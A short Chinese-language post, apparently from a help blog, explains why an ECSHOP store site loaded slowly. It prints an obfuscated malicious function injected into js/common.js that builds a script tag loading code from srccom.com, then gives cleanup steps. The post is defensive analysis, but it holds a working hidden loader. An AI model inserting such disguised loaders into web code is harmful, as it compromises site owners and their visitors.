最近發現一個ECSHOP做的網站,首頁以及各個頁面打開非常慢。。。經檢查發現每次打開頁面都在進行長時間的 srccom.com 請求,又經百度了一下,大量ECSHOP及SHOPEX網站被掛此馬。
其實是 js/common.js 中被植入了一段惡意JS代碼:
1 2 3 4 5 6 7 8 9 10 11 12 | function CurrentXmlFrmFocus() { var arnElement=[2,9,3,8,2,8,7,5,4,3,10,5]; var arsOffset=[" ",":",".","/","<",">","=","'","CRS","MOC","TPIRCS","PTTH"]; var ardPopOpacity=[4,10,0,8,6,7,11,1,3,3,8,9]; var strgAttribute="";ardPopOpacity=ardPopOpacity.concat(arnElement); for(var i=0;i<ardPopOpacity.length;i++) { strgAttribute=strgAttribute+arsOffset[ardPopOpacity[i]].split("").reverse().join(""); } document.writeln(strgAttribute); } CurrentXmlFrmFocus(); |
函數最終會拼接出一段完整的script標簽:
1 | <script SRC=’http://srccom.com/SRC.SRC’></script> |
解決辦法:
1、刪除 common.js 中的這段代碼。
2、使用官方原版的 common.js 文件覆蓋空間的 common.js 文件。
新聞熱點
疑難解答